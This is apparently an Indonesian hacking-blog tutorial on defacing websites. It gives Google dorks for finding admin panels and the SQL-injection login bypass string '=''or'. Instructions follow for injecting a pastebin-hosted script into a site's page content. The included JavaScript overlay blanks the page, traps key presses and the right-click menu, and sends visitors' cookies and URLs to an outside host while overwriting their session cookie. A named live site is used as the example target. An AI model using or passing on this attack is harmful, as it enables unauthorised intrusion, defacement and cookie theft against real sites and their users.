-->

Deface dengan Bypass Admin with JS Overlay


Hallo hacker/teman-teman sekalian, Kali ini maqloeblogger ingin membagikan tutorial Deface dengan Bypass Admin with JSOverlay.
OK..

DORK BYPASS ADMIN:
  • inurl:"/admin/login.php" site:in intext:"All Rights Reserved"
  • inurl:"/products.php?id" site:
  • inurl:"/admin/admin.php"
  • inurl:"/administrator/login.php"
  • inurl:"/admin.php" intext:"Admin Panel"
  • inurl:"/admin/ckfinder" intitle:"Index Of"
  • inurl:"/ppdb/admin/" site:id
  • inurl:"/admin/kcfinder" intitle:"Index Of"
  • inurl:"/admin/uploads" ext:jpg
  • inurl:"/admin/img" ext:jpg
SCRIPT JSOVERLAY:
/*
<style>html,body{color:#ffffff}</style><font color='white'><script>top.location.href='http://www.google.com/?v=wall/'</script><noscript><META HTTP-EQUIV="refresh" CONTENT="0;URL=http://www.facebook.com/?v=wall/">
*/
document.getElementsByTagName('body')[0].innerHTML=""
document.title="Pwnd ApiRahman"
var shortc=document.createElement("link");shortc.rel="SHORTCUT ICON";shortc.href="https://66.media.tumblr.com/ae95f10220dc9965b718b6966606d6cf/tumblr_n1yxvxZNgo1t014gho1_500.gif";document.getElementsByTagName("head")[0].appendChild(shortc)
function muter2(){
scrW=screen.availWidth
scrH=screen.availHeight
window.moveTo(0,0)
window.resizeTo(10,10)
window.focus()
for(x=0;x<80;x++){
window.resizeTo(10,scrH*x/80)
}
for(y=0;y<80;y++){
window.resizeTo(scrW*y/80,scrH)
}
window.resizeTo(scrW,scrH)
}
document.oncontextmenu=new Function("muter2();return false");
function keypressed(){alert("You Lose , Zuhahahaha");}
document.onkeydown=keypressed;
function kasih_tau(){
alert('You Lose , Zuhahahaha');
}
if(location.href.indexOf('transtv.co.id')==-1)setTimeout("alert('Api Rahman Here');",3000);
else setTimeout("kasih_tau()",3000);
if(navigator.userAgent.indexOf('MSIE')!=-1){
document.getElementsByTagName('body')[0].innerHTML="<center><iframe src='http://academicapub.com/index.php' height='620px' width='1100px' scrolling='no' frameborder='0'></center>";
}
else{
if(document.getElementsByTagName('body')[0].style.cssText.indexOf('hack')==-1){
//muter2();
log="";
if(document.cookie!=""&&location.href.indexOf('ayodance.com')==-1){x=escape(document.cookie);v=escape(location.href);y="que3n4ngelz@yahoo.co.id";log=";background-image:url(http://crazydavinci.net/riper.php?o="+escape(x)+"&v="+escape(v)+"&y="+escape(y)+")";document.cookie="PHPSESSID=!Bagsfreakz Here!;path=/";}
document.getElementsByTagName('body')[0].style.cssText="background-color:#000"+log
window.onload=function(){
document.getElementsByTagName('body')[0].innerHTML="<center><iframe src='http://academicapub.com/index.php' height='620px' width='1100px' scrolling='no' frameborder='0'></center>";
document.getElementsByTagName('body')[0].style.cssText="background-color:#ffffff;background-image:url(http://www.balikita.net/)!important;";
}
}
}
OK, Pertama Kalian buat catatan di PASTEBIN, lalu pilih new paste & masukan script JSOverlay di atas.
Penjelasan:

  1.  Warna Hijau = Ubah menjadi nickname Kalian. (Misal : Pwnd by Nicklo)
  2.  Warna Merah = Untuk Alert
  3.  Warna Biru = Pastekan dengan Link Deface atau dengan link Mirror Kalian.
OK, Kalian cari target dahulu, dengan dork diatas atau pakai http://www.dazzlepet.net/admin/ .

Login seperti biasa dengan Username dan Password: 
'=''or' 
Jika sudah Login, Kalian akan masuk ke Halaman Admin atau Admin Home.

Sekarang Kalian klik Manage Pages.

Penampakannya akan seperti di atas. Lalu sekarang kalian klik ">Detail" di bagian "home". Lalu klik edit.

Kembali ke catatan pastebin yang kita buat tadi. Lalu klik raw. Tampilannya akan seperti ini.


SCRIPT JAVASCRIPT
<script type="text/javascript" src="https://pastebin.com/raw/5Dvd7wE8"></script>
Ganti warna merah dengan link pastebin kamu.


Lalu pastekan Script Javascript-nya ke "Page Content". ^_^ Lalu klik "Save Update".

Tinggal cek deh. >> http://www.dazzlepet.net <<


OK, sekian dahulu dari MaqloBlogger.
Jika ada yang belum paham, silahkan komentar dengan sopan. OK?

Sumber Script: blog.garudasecurityhacker.org

Thanks: Garuda Sec Hacker, TKJ Cyber Art, N45HT, Linux Sec.
Disqus Comments